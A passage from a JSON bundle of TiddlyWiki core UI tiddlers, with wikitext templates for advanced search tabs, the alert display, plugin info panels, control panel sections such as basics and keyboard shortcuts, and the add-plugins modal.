"text": "<span class=\"tc-popup-keep\">\n<$button popup=<<qualify \"$:/state/filterDropdown\">> class=\"tc-btn-invisible\">\n{{$:/core/images/down-arrow}}\n</$button>\n</span>\n\n<$reveal state=<<qualify \"$:/state/filterDropdown\">> type=\"popup\" position=\"belowleft\" animate=\"yes\">\n<$set name=\"tv-show-missing-links\" value=\"yes\">\n<$linkcatcher to=\"$:/temp/advancedsearch\">\n<div class=\"tc-block-dropdown-wrapper\">\n<div class=\"tc-block-dropdown tc-edit-type-dropdown\">\n<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/Filter]]\"><$link to={{!!filter}}><$transclude field=\"description\"/></$link>\n</$list>\n</div>\n</div>\n</$linkcatcher>\n</$set>\n</$reveal>\n"
},
"$:/core/ui/AdvancedSearch/Filter/FilterButtons/export": {
"title": "$:/core/ui/AdvancedSearch/Filter/FilterButtons/export",
"tags": "$:/tags/AdvancedSearch/FilterButton",
"text": "<$reveal state=\"$:/temp/advancedsearch\" type=\"nomatch\" text=\"\">\n<$macrocall $name=\"exportButton\" exportFilter={{$:/temp/advancedsearch}} lingoBase=\"$:/language/Buttons/ExportTiddlers/\"/>\n</$reveal>\n"
},
"$:/core/ui/AdvancedSearch/Shadows": {
"title": "$:/core/ui/AdvancedSearch/Shadows",
"tags": "$:/tags/AdvancedSearch",
"caption": "{{$:/language/Search/Shadows/Caption}}",
"text": "\\define lingo-base() $:/language/Search/\n<$linkcatcher to=\"$:/temp/advancedsearch\">\n\n<<lingo Shadows/Hint>>\n\n<div class=\"tc-search\">\n<$edit-text tiddler=\"$:/temp/advancedsearch\" type=\"search\" tag=\"input\" focus={{$:/config/Search/AutoFocus}}/>\n<$reveal state=\"$:/temp/advancedsearch\" type=\"nomatch\" text=\"\">\n<$button class=\"tc-btn-invisible\">\n<$action-setfield $tiddler=\"$:/temp/advancedsearch\" $field=\"text\" $value=\"\"/>\n{{$:/core/images/close-button}}\n</$button>\n</$reveal>\n</div>\n\n</$linkcatcher>\n\n<$reveal state=\"$:/temp/advancedsearch\" type=\"nomatch\" text=\"\">\n\n<$list filter=\"[{$:/temp/advancedsearch}minlength{$:/config/Search/MinLength}limit[1]]\" emptyMessage=\"\"\"<div class=\"tc-search-results\">{{$:/language/Search/Search/TooShort}}</div>\"\"\" variable=\"listItem\">\n\n<$set name=\"resultCount\" value=\"\"\"<$count filter=\"[all[shadows]search{$:/temp/advancedsearch}] -[[$:/temp/advancedsearch]]\"/>\"\"\">\n\n<div class=\"tc-search-results\">\n\n<<lingo Shadows/Matches>>\n\n<$list filter=\"[all[shadows]search{$:/temp/advancedsearch}sort[title]limit[250]] -[[$:/temp/advancedsearch]]\" template=\"$:/core/ui/ListItemTemplate\"/>\n\n</div>\n\n</$set>\n\n</$list>\n\n</$reveal>\n\n<$reveal state=\"$:/temp/advancedsearch\" type=\"match\" text=\"\">\n\n</$reveal>\n"
},
"$:/core/ui/AdvancedSearch/Standard": {
"title": "$:/core/ui/AdvancedSearch/Standard",
"tags": "$:/tags/AdvancedSearch",
"caption": "{{$:/language/Search/Standard/Caption}}",
"text": "\\define lingo-base() $:/language/Search/\n<$linkcatcher to=\"$:/temp/advancedsearch\">\n\n<<lingo Standard/Hint>>\n\n<div class=\"tc-search\">\n<$edit-text tiddler=\"$:/temp/advancedsearch\" type=\"search\" tag=\"input\" focus={{$:/config/Search/AutoFocus}}/>\n<$reveal state=\"$:/temp/advancedsearch\" type=\"nomatch\" text=\"\">\n<$button class=\"tc-btn-invisible\">\n<$action-setfield $tiddler=\"$:/temp/advancedsearch\" $field=\"text\" $value=\"\"/>\n{{$:/core/images/close-button}}\n</$button>\n</$reveal>\n</div>\n\n</$linkcatcher>\n\n<$reveal state=\"$:/temp/advancedsearch\" type=\"nomatch\" text=\"\">\n<$list filter=\"[{$:/temp/advancedsearch}minlength{$:/config/Search/MinLength}limit[1]]\" emptyMessage=\"\"\"<div class=\"tc-search-results\">{{$:/language/Search/Search/TooShort}}</div>\"\"\" variable=\"listItem\">\n<$set name=\"searchTiddler\" value=\"$:/temp/advancedsearch\">\n<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/SearchResults]!has[draft.of]butfirst[]limit[1]]\" emptyMessage=\"\"\"\n<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/SearchResults]!has[draft.of]]\">\n<$transclude/>\n</$list>\n\"\"\">\n<$macrocall $name=\"tabs\" tabsList=\"[all[shadows+tiddlers]tag[$:/tags/SearchResults]!has[draft.of]]\" default={{$:/config/SearchResults/Default}}/>\n</$list>\n</$set>\n</$list>\n</$reveal>\n"
},
"$:/core/ui/AdvancedSearch/System": {
"title": "$:/core/ui/AdvancedSearch/System",
"tags": "$:/tags/AdvancedSearch",
"caption": "{{$:/language/Search/System/Caption}}",
"text": "\\define lingo-base() $:/language/Search/\n<$linkcatcher to=\"$:/temp/advancedsearch\">\n\n<<lingo System/Hint>>\n\n<div class=\"tc-search\">\n<$edit-text tiddler=\"$:/temp/advancedsearch\" type=\"search\" tag=\"input\" focus={{$:/config/Search/AutoFocus}}/>\n<$reveal state=\"$:/temp/advancedsearch\" type=\"nomatch\" text=\"\">\n<$button class=\"tc-btn-invisible\">\n<$action-setfield $tiddler=\"$:/temp/advancedsearch\" $field=\"text\" $value=\"\"/>\n{{$:/core/images/close-button}}\n</$button>\n</$reveal>\n</div>\n\n</$linkcatcher>\n\n<$reveal state=\"$:/temp/advancedsearch\" type=\"nomatch\" text=\"\">\n\n<$list filter=\"[{$:/temp/advancedsearch}minlength{$:/config/Search/MinLength}limit[1]]\" emptyMessage=\"\"\"<div class=\"tc-search-results\">{{$:/language/Search/Search/TooShort}}</div>\"\"\" variable=\"listItem\">\n\n<$set name=\"resultCount\" value=\"\"\"<$count filter=\"[is[system]search{$:/temp/advancedsearch}] -[[$:/temp/advancedsearch]]\"/>\"\"\">\n\n<div class=\"tc-search-results\">\n\n<<lingo System/Matches>>\n\n<$list filter=\"[is[system]search{$:/temp/advancedsearch}sort[title]limit[250]] -[[$:/temp/advancedsearch]]\" template=\"$:/core/ui/ListItemTemplate\"/>\n\n</div>\n\n</$set>\n\n</$list>\n\n</$reveal>\n\n<$reveal state=\"$:/temp/advancedsearch\" type=\"match\" text=\"\">\n\n</$reveal>\n"
},
"$:/AdvancedSearch": {
"title": "$:/AdvancedSearch",
"icon": "$:/core/images/advanced-search-button",
"color": "#bbb",
"text": "<div class=\"tc-advanced-search\">\n<<tabs \"[all[shadows+tiddlers]tag[$:/tags/AdvancedSearch]!has[draft.of]]\" \"$:/core/ui/AdvancedSearch/System\">>\n</div>\n"
},
"$:/core/ui/AlertTemplate": {
"title": "$:/core/ui/AlertTemplate",
"text": "<div class=\"tc-alert\">\n<div class=\"tc-alert-toolbar\">\n<$button class=\"tc-btn-invisible\"><$action-deletetiddler $tiddler=<<currentTiddler>>/>{{$:/core/images/cancel-button}}</$button>\n</div>\n<div class=\"tc-alert-subtitle\">\n<$wikify name=\"format\" text=<<lingo Tiddler/DateFormat>>>\n<$view field=\"component\"/> - <$view field=\"modified\" format=\"date\" template=<<format>>/> <$reveal type=\"nomatch\" state=\"!!count\" text=\"\"><span class=\"tc-alert-highlight\">({{$:/language/Count}}: <$view field=\"count\"/>)</span></$reveal>\n</$wikify>\n</div>\n<div class=\"tc-alert-body\">\n\n<$transclude/>\n\n</div>\n</div>\n"
},
"$:/core/ui/BinaryWarning": {
"title": "$:/core/ui/BinaryWarning",
"text": "\\define lingo-base() $:/language/BinaryWarning/\n<<lingo Prompt>>\n"
},
"$:/core/ui/Components/plugin-info": {
"title": "$:/core/ui/Components/plugin-info",
"text": "\\define lingo-base() $:/language/ControlPanel/Plugins/\n\n\\define popup-state-macro()\n$(qualified-state)$-$(currentTiddler)$\n\\end\n\n\\define tabs-state-macro()\n$(popup-state)$-$(pluginInfoType)$\n\\end\n\n\\define plugin-icon-title()\n$(currentTiddler)$/icon\n\\end\n\n\\define plugin-disable-title()\n$:/config/Plugins/Disabled/$(currentTiddler)$\n\\end\n\n\\define plugin-table-body(type,disabledMessage,default-popup-state)\n<div class=\"tc-plugin-info-chunk tc-plugin-info-toggle\">\n<$reveal type=\"nomatch\" state=<<popup-state>> text=\"yes\" default=\"\"\"$default-popup-state$\"\"\">\n<$button class=\"tc-btn-invisible tc-btn-dropdown\" set=<<popup-state>> setTo=\"yes\">\n{{$:/core/images/chevron-right}}\n</$button>\n</$reveal>\n<$reveal type=\"match\" state=<<popup-state>> text=\"yes\" default=\"\"\"$default-popup-state$\"\"\">\n<$button class=\"tc-btn-invisible tc-btn-dropdown\" set=<<popup-state>> setTo=\"no\">\n{{$:/core/images/chevron-down}}\n</$button>\n</$reveal>\n</div>\n<div class=\"tc-plugin-info-chunk tc-plugin-info-icon\">\n<$transclude tiddler=<<currentTiddler>> subtiddler=<<plugin-icon-title>>>\n<$transclude tiddler=\"$:/core/images/plugin-generic-$type$\"/>\n</$transclude>\n</div>\n<div class=\"tc-plugin-info-chunk tc-plugin-info-description\">\n<h1>\n''<$text text={{{ [<currentTiddler>get[name]] ~[<currentTiddler>split[/]last[1]] }}}/>'': <$view field=\"description\"><$view field=\"title\"/></$view> $disabledMessage$\n</h1>\n<h2>\n<$view field=\"title\"/>\n</h2>\n<h2>\n<div><em><$view field=\"version\"/></em></div>\n</h2>\n</div>\n\\end\n\n\\define plugin-info(type,default-popup-state)\n<$set name=\"popup-state\" value=<<popup-state-macro>>>\n<$reveal type=\"nomatch\" state=<<plugin-disable-title>> text=\"yes\">\n<$link to={{!!title}} class=\"tc-plugin-info\">\n<<plugin-table-body type:\"$type$\" default-popup-state:\"\"\"$default-popup-state$\"\"\">>\n</$link>\n</$reveal>\n<$reveal type=\"match\" state=<<plugin-disable-title>> text=\"yes\">\n<$link to={{!!title}} class=\"tc-plugin-info tc-plugin-info-disabled\">\n<<plugin-table-body type:\"$type$\" default-popup-state:\"\"\"$default-popup-state$\"\"\" disabledMessage:\"<$macrocall $name='lingo' title='Disabled/Status'/>\">>\n</$link>\n</$reveal>\n<$reveal type=\"match\" text=\"yes\" state=<<popup-state>> default=\"\"\"$default-popup-state$\"\"\">\n<div class=\"tc-plugin-info-dropdown\">\n<div class=\"tc-plugin-info-dropdown-body\">\n<$list filter=\"[all[current]] -[[$:/core]]\">\n<div style=\"float:right;\">\n<$reveal type=\"nomatch\" state=<<plugin-disable-title>> text=\"yes\">\n<$button set=<<plugin-disable-title>> setTo=\"yes\" tooltip={{$:/language/ControlPanel/Plugins/Disable/Hint}} aria-label={{$:/language/ControlPanel/Plugins/Disable/Caption}}>\n<<lingo Disable/Caption>>\n</$button>\n</$reveal>\n<$reveal type=\"match\" state=<<plugin-disable-title>> text=\"yes\">\n<$button set=<<plugin-disable-title>> setTo=\"no\" tooltip={{$:/language/ControlPanel/Plugins/Enable/Hint}} aria-label={{$:/language/ControlPanel/Plugins/Enable/Caption}}>\n<<lingo Enable/Caption>>\n</$button>\n</$reveal>\n</div>\n</$list>\n<$set name=\"tabsList\" filter=\"[<currentTiddler>list[]] contents\">\n<$macrocall $name=\"tabs\" state=<<tabs-state-macro>> tabsList=<<tabsList>> default={{{ [enlist<tabsList>] }}} template=\"$:/core/ui/PluginInfo\"/>\n</$set>\n</div>\n</div>\n</$reveal>\n</$set>\n\\end\n\n<$macrocall $name=\"plugin-info\" type=<<plugin-type>> default-popup-state=<<default-popup-state>>/>\n"
},
"$:/core/ui/Components/tag-link": {
"title": "$:/core/ui/Components/tag-link",
"text": "<$link>\n<$set name=\"backgroundColor\" value={{!!color}}>\n<span style=<<tag-styles>> class=\"tc-tag-label\">\n<$view field=\"title\" format=\"text\"/>\n</span>\n</$set>\n</$link>"
},
"$:/core/ui/ControlPanel/Advanced": {
"title": "$:/core/ui/ControlPanel/Advanced",
"tags": "$:/tags/ControlPanel/Info",
"caption": "{{$:/language/ControlPanel/Advanced/Caption}}",
"text": "{{$:/language/ControlPanel/Advanced/Hint}}\n\n<div class=\"tc-control-panel\">\n<<tabs \"[all[shadows+tiddlers]tag[$:/tags/ControlPanel/Advanced]!has[draft.of]]\" \"$:/core/ui/ControlPanel/TiddlerFields\">>\n</div>\n"
},
"$:/core/ui/ControlPanel/Appearance": {
"title": "$:/core/ui/ControlPanel/Appearance",
"tags": "$:/tags/ControlPanel",
"caption": "{{$:/language/ControlPanel/Appearance/Caption}}",
"text": "{{$:/language/ControlPanel/Appearance/Hint}}\n\n<div class=\"tc-control-panel\">\n<<tabs \"[all[shadows+tiddlers]tag[$:/tags/ControlPanel/Appearance]!has[draft.of]]\" \"$:/core/ui/ControlPanel/Theme\">>\n</div>\n"
},
"$:/core/ui/ControlPanel/Basics": {
"title": "$:/core/ui/ControlPanel/Basics",
"tags": "$:/tags/ControlPanel/Info",
"caption": "{{$:/language/ControlPanel/Basics/Caption}}",
"text": "\\define lingo-base() $:/language/ControlPanel/Basics/\n\n\\define show-filter-count(filter)\n<$button class=\"tc-btn-invisible\">\n<$action-setfield $tiddler=\"$:/temp/advancedsearch\" $value=\"\"\"$filter$\"\"\"/>\n<$action-setfield $tiddler=\"$:/state/tab--1498284803\" $value=\"$:/core/ui/AdvancedSearch/Filter\"/>\n<$action-navigate $to=\"$:/AdvancedSearch\"/>\n''<$count filter=\"\"\"$filter$\"\"\"/>''\n{{$:/core/images/advanced-search-button}}\n</$button>\n\\end\n\n|<<lingo Version/Prompt>> |''<<version>>'' |\n|<$link to=\"$:/SiteTitle\"><<lingo Title/Prompt>></$link> |<$edit-text tiddler=\"$:/SiteTitle\" default=\"\" tag=\"input\"/> |\n|<$link to=\"$:/SiteSubtitle\"><<lingo Subtitle/Prompt>></$link> |<$edit-text tiddler=\"$:/SiteSubtitle\" default=\"\" tag=\"input\"/> |\n|<$link to=\"$:/status/UserName\"><<lingo Username/Prompt>></$link> |<$edit-text tiddler=\"$:/status/UserName\" default=\"\" tag=\"input\"/> |\n|<$link to=\"$:/config/AnimationDuration\"><<lingo AnimDuration/Prompt>></$link> |<$edit-text tiddler=\"$:/config/AnimationDuration\" default=\"\" tag=\"input\"/> |\n|<$link to=\"$:/DefaultTiddlers\"><<lingo DefaultTiddlers/Prompt>></$link> |<<lingo DefaultTiddlers/TopHint>><br> <$edit tag=\"textarea\" tiddler=\"$:/DefaultTiddlers\" class=\"tc-edit-texteditor\"/><br>//<<lingo DefaultTiddlers/BottomHint>>// |\n|<$link to=\"$:/language/DefaultNewTiddlerTitle\"><<lingo NewTiddler/Title/Prompt>></$link> |<$edit-text tiddler=\"$:/language/DefaultNewTiddlerTitle\" default=\"\" tag=\"input\"/> |\n|<$link to=\"$:/config/NewJournal/Title\"><<lingo NewJournal/Title/Prompt>></$link> |<$edit-text tiddler=\"$:/config/NewJournal/Title\" default=\"\" tag=\"input\"/> |\n|<$link to=\"$:/config/NewJournal/Text\"><<lingo NewJournal/Text/Prompt>></$link> |<$edit tiddler=\"$:/config/NewJournal/Text\" tag=\"textarea\" class=\"tc-edit-texteditor\" default=\"\"/> |\n|<$link to=\"$:/config/NewTiddler/Tags\"><<lingo NewTiddler/Tags/Prompt>></$link> |<$list filter=\"[[$:/config/NewTiddler/Tags]]\" template=\"$:/core/ui/EditTemplate/tags\"/> |\n|<$link to=\"$:/config/NewJournal/Tags\"><<lingo NewJournal/Tags/Prompt>></$link> |<$list filter=\"[[$:/config/NewJournal/Tags]]\" template=\"$:/core/ui/EditTemplate/tags\"/> |\n|<$link to=\"$:/config/AutoFocus\"><<lingo AutoFocus/Prompt>></$link> |{{$:/snippets/minifocusswitcher}} |\n|<<lingo Language/Prompt>> |{{$:/snippets/minilanguageswitcher}} |\n|<<lingo Tiddlers/Prompt>> |<<show-filter-count \"[!is[system]sort[title]]\">> |\n|<<lingo Tags/Prompt>> |<<show-filter-count \"[tags[]sort[title]]\">> |\n|<<lingo SystemTiddlers/Prompt>> |<<show-filter-count \"[is[system]sort[title]]\">> |\n|<<lingo ShadowTiddlers/Prompt>> |<<show-filter-count \"[all[shadows]sort[title]]\">> |\n|<<lingo OverriddenShadowTiddlers/Prompt>> |<<show-filter-count \"[is[tiddler]is[shadow]sort[title]]\">> |\n"
},
"$:/core/ui/ControlPanel/EditorTypes": {
"title": "$:/core/ui/ControlPanel/EditorTypes",
"tags": "$:/tags/ControlPanel/Advanced",
"caption": "{{$:/language/ControlPanel/EditorTypes/Caption}}",
"text": "\\define lingo-base() $:/language/ControlPanel/EditorTypes/\n\n<<lingo Hint>>\n\n<table>\n<tbody>\n<tr>\n<th><<lingo Type/Caption>></th>\n<th><<lingo Editor/Caption>></th>\n</tr>\n<$list filter=\"[all[shadows+tiddlers]prefix[$:/config/EditorTypeMappings/]sort[title]]\">\n<tr>\n<td>\n<$link>\n<$list filter=\"[all[current]removeprefix[$:/config/EditorTypeMappings/]]\">\n<$text text={{!!title}}/>\n</$list>\n</$link>\n</td>\n<td>\n<$view field=\"text\"/>\n</td>\n</tr>\n</$list>\n</tbody>\n</table>\n"
},
"$:/core/ui/ControlPanel/Info": {
"title": "$:/core/ui/ControlPanel/Info",
"tags": "$:/tags/ControlPanel",
"caption": "{{$:/language/ControlPanel/Info/Caption}}",
"text": "{{$:/language/ControlPanel/Info/Hint}}\n\n<div class=\"tc-control-panel\">\n<<tabs \"[all[shadows+tiddlers]tag[$:/tags/ControlPanel/Info]!has[draft.of]]\" \"$:/core/ui/ControlPanel/Basics\">>\n</div>\n"
},
"$:/core/ui/ControlPanel/KeyboardShortcuts": {
"title": "$:/core/ui/ControlPanel/KeyboardShortcuts",
"tags": "$:/tags/ControlPanel",
"caption": "{{$:/language/ControlPanel/KeyboardShortcuts/Caption}}",
"text": "\\define lingo-base() $:/language/ControlPanel/KeyboardShortcuts/\n\n\\define new-shortcut(title)\n<div class=\"tc-dropdown-item-plain\">\n<$edit-shortcut tiddler=\"$title$\" placeholder={{$:/language/ControlPanel/KeyboardShortcuts/Add/Prompt}} focus=\"true\" style=\"width:auto;\"/> <$button>\n<<lingo Add/Caption>>\n<$action-listops\n\t$tiddler=\"$(shortcutTitle)$\"\n\t$field=\"text\"\n\t$subfilter=\"[{$title$}]\"\n/>\n<$action-deletetiddler\n\t$tiddler=\"$title$\"\n/>\n</$button>\n</div>\n\\end\n\n\\define shortcut-list-item(caption)\n<td>\n</td>\n<td style=\"text-align:right;font-size:0.7em;\">\n<<lingo Platform/$caption$>>\n</td>\n<td>\n<div style=\"position:relative;\">\n<$button popup=<<qualify \"$:/state/dropdown/$(shortcutTitle)$\">> class=\"tc-btn-invisible\">\n{{$:/core/images/edit-button}}\n</$button>\n<$macrocall $name=\"displayshortcuts\" $output=\"text/html\" shortcuts={{$(shortcutTitle)$}} prefix=\"<kbd>\" separator=\"</kbd> <kbd>\" suffix=\"</kbd>\"/>\n\n<$reveal state=<<qualify \"$:/state/dropdown/$(shortcutTitle)$\">> type=\"popup\" position=\"below\" animate=\"yes\">\n<div class=\"tc-block-dropdown-wrapper\">\n<div class=\"tc-block-dropdown tc-edit-type-dropdown tc-popup-keep\">\n<$list filter=\"[list[$(shortcutTitle)$!!text]sort[title]]\" variable=\"shortcut\" emptyMessage=\"\"\"\n<div class=\"tc-dropdown-item-plain\">\n//<<lingo NoShortcuts/Caption>>//\n</div>\n\"\"\">\n<div class=\"tc-dropdown-item-plain\">\n<$button class=\"tc-btn-invisible\" tooltip={{$:/language/ControlPanel/KeyboardShortcuts/Remove/Hint}}>\n<$action-listops\n\t$tiddler=\"$(shortcutTitle)$\"\n\t$field=\"text\"\n\t$subfilter=\"+[remove<shortcut>]\"\n/>\n<small>{{$:/core/images/close-button}}</small>\n</$button>\n<kbd>\n<$macrocall $name=\"displayshortcuts\" $output=\"text/html\" shortcuts=<<shortcut>>/>\n</kbd>\n</div>\n</$list>\n<hr/>\n<$macrocall $name=\"new-shortcut\" title=<<qualify \"$:/state/new-shortcut/$(shortcutTitle)$\">>/>\n</div>\n</div>\n</$reveal>\n</div>\n</td>\n\\end\n\n\\define shortcut-list(caption,prefix)\n<tr>\n<$list filter=\"[[$prefix$$(shortcutName)$]]\" variable=\"shortcutTitle\">\n<<shortcut-list-item \"$caption$\">>\n</$list>\n</tr>\n\\end\n\n\\define shortcut-editor()\n<<shortcut-list \"All\" \"$:/config/shortcuts/\">>\n<<shortcut-list \"Mac\" \"$:/config/shortcuts-mac/\">>\n<<shortcut-list \"NonMac\" \"$:/config/shortcuts-not-mac/\">>\n<<shortcut-list \"Linux\" \"$:/config/shortcuts-linux/\">>\n<<shortcut-list \"NonLinux\" \"$:/config/shortcuts-not-linux/\">>\n<<shortcut-list \"Windows\" \"$:/config/shortcuts-windows/\">>\n<<shortcut-list \"NonWindows\" \"$:/config/shortcuts-not-windows/\">>\n\\end\n\n\\define shortcut-preview()\n<$macrocall $name=\"displayshortcuts\" $output=\"text/html\" shortcuts={{$(shortcutPrefix)$$(shortcutName)$}} prefix=\"<kbd>\" separator=\"</kbd> <kbd>\" suffix=\"</kbd>\"/>\n\\end\n\n\\define shortcut-item-inner()\n<tr>\n<td>\n<$reveal type=\"nomatch\" state=<<dropdownStateTitle>> text=\"open\">\n<$button class=\"tc-btn-invisible\">\n<$action-setfield\n\t$tiddler=<<dropdownStateTitle>>\n\t$value=\"open\"\n/>\n{{$:/core/images/right-arrow}}\n</$button>\n</$reveal>\n<$reveal type=\"match\" state=<<dropdownStateTitle>> text=\"open\">\n<$button class=\"tc-btn-invisible\">\n<$action-setfield\n\t$tiddler=<<dropdownStateTitle>>\n\t$value=\"close\"\n/>\n{{$:/core/images/down-arrow}}\n</$button>\n</$reveal>\n''<$text text=<<shortcutName>>/>''\n</td>\n<td>\n<$transclude tiddler=\"$:/config/ShortcutInfo/$(shortcutName)$\"/>\n</td>\n<td>\n<$list filter=\"$:/config/shortcuts/ $:/config/shortcuts-mac/ $:/config/shortcuts-not-mac/ $:/config/shortcuts-linux/ $:/config/shortcuts-not-linux/ $:/config/shortcuts-windows/ $:/config/shortcuts-not-windows/\" variable=\"shortcutPrefix\">\n<<shortcut-preview>>\n</$list>\n</td>\n</tr>\n<$set name=\"dropdownState\" value={{$(dropdownStateTitle)$}}>\n<$list filter=\"[<dropdownState>match[open]]\" variable=\"listItem\">\n<<shortcut-editor>>\n</$list>\n</$set>\n\\end\n\n\\define shortcut-item()\n<$set name=\"dropdownStateTitle\" value=<<qualify \"$:/state/dropdown/keyboardshortcut/$(shortcutName)$\">>>\n<<shortcut-item-inner>>\n</$set>\n\\end\n\n<table>\n<tbody>\n<$list filter=\"[all[shadows+tiddlers]removeprefix[$:/config/ShortcutInfo/]]\" variable=\"shortcutName\">\n<<shortcut-item>>\n</$list>\n</tbody>\n</table>\n"
},
"$:/core/ui/ControlPanel/LoadedModules": {
"title": "$:/core/ui/ControlPanel/LoadedModules",
"tags": "$:/tags/ControlPanel/Advanced",
"caption": "{{$:/language/ControlPanel/LoadedModules/Caption}}",
"text": "\\define lingo-base() $:/language/ControlPanel/\n<<lingo LoadedModules/Hint>>\n\n{{$:/snippets/modules}}\n"
},
"$:/core/ui/ControlPanel/Modals/AddPlugins": {
"title": "$:/core/ui/ControlPanel/Modals/AddPlugins",
"subtitle": "{{$:/core/images/download-button}} {{$:/language/ControlPanel/Plugins/Add/Caption}}",
"text": "\\define install-plugin-actions()\n<$action-sendmessage $message=\"tm-load-plugin-from-library\" url={{!!url}} title={{$(assetInfo)$!!original-title}}/>\n<$set name=\"url\" value={{!!url}}>\n<$set name=\"currentTiddler\" value=<<assetInfo>>>\n<$list filter=\"[enlist{!!dependents}] [{!!parent-plugin}] +[sort[title]]\" variable=\"dependency\">\n<$action-sendmessage $message=\"tm-load-plugin-from-library\" url=<<url>> title=<<dependency>>/>\n</$list>\n</$set>\n</$set>\n\\end\n\n\\define install-plugin-button()\n<div>\n<$set name=\"libraryVersion\" value={{{ [<assetInfo>get[version]] }}}>\n<$set name=\"installedVersion\" value={{{ [<assetInfo>get[original-title]get[version]] }}}>\n<$set name=\"reinstall-type\" value={{{ [<libraryVersion>compare:version:eq<installedVersion>then[tc-reinstall]] [<libraryVersion>compare:version:gt<installedVersion>then[tc-reinstall-upgrade]] [<libraryVersion>compare:version:lt<installedVersion>then[tc-reinstall-downgrade]] }}}>\n<$button actions=<<install-plugin-actions>> class={{{ [<assetInfo>get[original-title]has[version]then<reinstall-type>] tc-btn-invisible tc-install-plugin +[join[ ]] }}}>\n{{$:/core/images/download-button}}\n<$list filter=\"[<assetInfo>get[original-title]get[version]]\" variable=\"ignore\" emptyMessage=\"{{$:/language/ControlPanel/Plugins/Install/Caption}}\">\n<$list filter=\"[<libraryVersion>compare:version:gt<installedVersion>]\" variable=\"ignore\" emptyMessage=\"\"\"\n<$list filter=\"[<libraryVersion>compare:version:lt<installedVersion>]\" variable=\"ignore\" emptyMessage=\"{{$:/language/ControlPanel/Plugins/Reinstall/Caption}}\">\n{{$:/language/ControlPanel/Plugins/Downgrade/Caption}}\n</$list>\n\"\"\">\n{{$:/language/ControlPanel/Plugins/Update/Caption}}\n</$list>\n</$list>\n</$button>\n<div>\n</div>\n<$reveal stateTitle=<<assetInfo>> stateField=\"requires-reload\" type=\"match\" text=\"yes\">{{$:/language/ControlPanel/Plugins/PluginWillRequireReload}}</$reveal>\n</$set>\n</$set>\n</$set>\n</div>\n\\end\n\n\\define popup-state-macro()\n$:/state/add-plugin-info/$(connectionTiddler)$/$(assetInfo)$\n\\end\n\n\\define display-plugin-info(type)\n<$set name=\"popup-state\" value=<<popup-state-macro>>>\n<div class=\"tc-plugin-info\">\n<div class=\"tc-plugin-info-chunk tc-plugin-info-toggle\">\n<$reveal type=\"nomatch\" state=<<popup-state>> text=\"yes\">\n<$button class=\"tc-btn-invisible tc-btn-dropdown\" set=<<popup-state>> setTo=\"yes\">\n{{$:/core/images/chevron-right}}\n</$button>\n</$reveal>\n<$reveal type=\"match\" state=<<popup-state>> text=\"yes\">\n<$button class=\"tc-btn-invisible tc-btn-dropdown\" set=<<popup-state>> setTo=\"no\">\n{{$:/core/images/chevron-down}}\n</$button>\n</$reveal>\n</div>\n<div class=\"tc-plugin-info-chunk tc-plugin-info-icon\">\n<$list filter=\"[<assetInfo>has[icon]]\" emptyMessage=\"\"\"<$transclude tiddler=\"$:/core/images/plugin-generic-$type$\"/>\"\"\">\n<img src={{$(assetInfo)$!!icon}}/>\n</$list>\n</div>\n<div class=\"tc-plugin-info-chunk tc-plugin-info-description\">\n<h1><strong><$text text={{{ [<assetInfo>get[name]] ~[<assetInfo>get[original-title]split[/]last[1]] }}}/></strong>: <$view tiddler=<<assetInfo>> field=\"description\"/></h1>\n<h2><$view tiddler=<<assetInfo>> field=\"original-title\"/></h2>\n<div><em><$view tiddler=<<assetInfo>> field=\"version\"/></em></div>\n<$list filter=\"[<assetInfo>get[original-title]get[version]]\" variable=\"installedVersion\"><div><em>{{$:/language/ControlPanel/Plugins/AlreadyInstalled/Hint}}</em></div></$list>\n</div>\n<div class=\"tc-plugin-info-chunk tc-plugin-info-buttons\">\n<<install-plugin-button>>\n</div>\n</div>\n<$set name=\"original-title\" value={{{ [<assetInfo>get[original-title]] }}}>\n<$reveal type=\"match\" text=\"yes\" state=<<popup-state>>>\n<div class=\"tc-plugin-info-dropdown\">\n<$list filter=\"[enlist{!!dependents}] [<currentTiddler>get[parent-plugin]] +[limit[1]] ~[<assetInfo>get[original-title]!is[tiddler]]\" variable=\"ignore\">\n<div class=\"tc-plugin-info-dropdown-message\">\n<$list filter=\"[<assetInfo>get[original-title]!is[tiddler]]\">\n{{$:/language/ControlPanel/Plugins/NotInstalled/Hint}}\n</$list>\n<$set name=\"currentTiddler\" value=<<assetInfo>>>\n<$list filter=\"[enlist{!!dependents}] [<currentTiddler>get[parent-plugin]] +[limit[1]]\" variable=\"ignore\">\n<div>\n{{$:/language/ControlPanel/Plugins/AlsoRequires}}\n<$list filter=\"[enlist{!!dependents}] [{!!parent-plugin}] +[sort[title]]\" variable=\"dependency\">\n<$text text=<<dependency>>/>\n</$list>\n</div>\n</$list>\n</$set>\n</div>\n</$list>\n<div class=\"tc-plugin-info-dropdown-body\">\n<$transclude tiddler=<<assetInfo>> field=\"readme\" mode=\"block\"/>\n</div>\n<$list filter=\"[all[tiddlers+shadows]tag[$:/tags/RemoteAssetInfo]server-url{!!url}original-plugin-type[$type$]has[parent-plugin]parent-plugin<original-title>limit[1]]\" variable=\"ignore\">\n<div class=\"tc-plugin-info-sub-plugins\">\n<$list filter=\"[all[tiddlers+shadows]tag[$:/tags/RemoteAssetInfo]server-url{!!url}original-plugin-type[$type$]has[parent-plugin]parent-plugin<original-title>sort[title]]\" variable=\"assetInfo\">\n<<display-plugin-info \"$type$\">>\n</$list>\n</div>\n</$list>\n</div>\n</$reveal>\n<$list filter=\"[all[tiddlers+shadows]tag[$:/tags/RemoteAssetInfo]server-url{!!url}original-plugin-type[$type$]has[parent-plugin]parent-plugin<original-title>limit[1]]\" variable=\"ignore\">\n<$reveal type=\"nomatch\" text=\"yes\" state=<<popup-state>> tag=\"div\" class=\"tc-plugin-info-sub-plugin-indicator\">\n<$wikify name=\"count\" text=\"\"\"<$count filter=\"[all[tiddlers+shadows]tag[$:/tags/RemoteAssetInfo]server-url{!!url}original-plugin-type[$type$]has[parent-plugin]parent-plugin<original-title>]\"/>\"\"\">\n<$button class=\"tc-btn-invisible\" set=<<popup-state>> setTo=\"yes\">\n{{$:/language/ControlPanel/Plugins/SubPluginPrompt}}\n</$button>\n</$wikify>\n</$reveal>\n</$list>\n</$set>\n</$set>\n\\end\n\n\\define load-plugin-library-button()\n<$button class=\"tc-btn-big-green\">\n<$action-sendmessage $message=\"tm-load-plugin-library\" url={{!!url}} 